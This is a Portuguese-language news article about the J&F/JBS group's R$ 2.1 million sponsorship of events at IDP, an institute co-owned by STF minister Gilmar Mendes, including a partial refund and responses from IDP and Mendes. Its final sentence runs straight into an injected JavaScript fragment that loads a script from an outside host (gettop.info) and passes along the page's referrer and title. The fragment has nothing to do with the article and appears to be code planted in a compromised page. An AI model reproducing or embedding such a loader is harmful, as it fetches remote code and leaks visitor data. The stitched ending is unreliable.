O grupo J&F, que controla a JBS, investiu R$ 2,1 milhões nos últimos dois anos em patrocínio de eventos do Instituto Brasiliense de Direito Público (IDP). O ministro do Supremo Tribunal Federal (STF) Gilmar Mendes é um dos sócios. A denúncia foi feita pelo jornal Folha de S. Paulo.
O instituto afirmou que devolveu R$ 650 mil do montante, no dia 29 de maio, após a negociação da delação premiada dos executivos da JBS. Segundo o IDP, o contrato com o patrocinador foi rescindido em razão de uma cláusula contratual relacionada à conduta ética e moral.
Os recursos recebidos pela JBS foram destinados a cinco eventos. Além do suporte a um grupo de estudos em Direito do Trabalho, concessão de bolsas de estudo para pessoas carentes e egressos do sistema prisional, cursos gratuitos para a comunidade.
Um dos congressos patrocinados foi realizado no mês de abril, em Portugal, uma semana depois dos executivos da JBS firmarem acordo de delação premiada com o Ministério Público Federal (MPF). Se reuniram no encontro magistrados, ministros do governo Temer, além de advogados e políticos.
Outra reportagem do veículo informou que a família de Gilmar Mendes vende gado no Mato Grosso para o frigorífico JBS. Gilmar afirmou que as negociações são feitas pelo irmão e que não há motivo para se declarar impedido de participar de votações que envolvem a empresa.
Outro lado
O IDP afirmou que “a conduta das empresas do grupo J&F era considerada exemplar”, como relevante patrocinador de iniciativas acadêmicas e culturais de instituições públicas e privadas. Os R$ 650 mil devolvidos, segundo o instituto, chegaram depois da realização do evento. Portanto, foram devolvidos.
Por meio de assessoria, Gilmar afirmou que “não é, nem nunca foi, administrador do IDP. Sendo assim, não há como se manifestar sobre questões relativas à administração do instituto”.s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;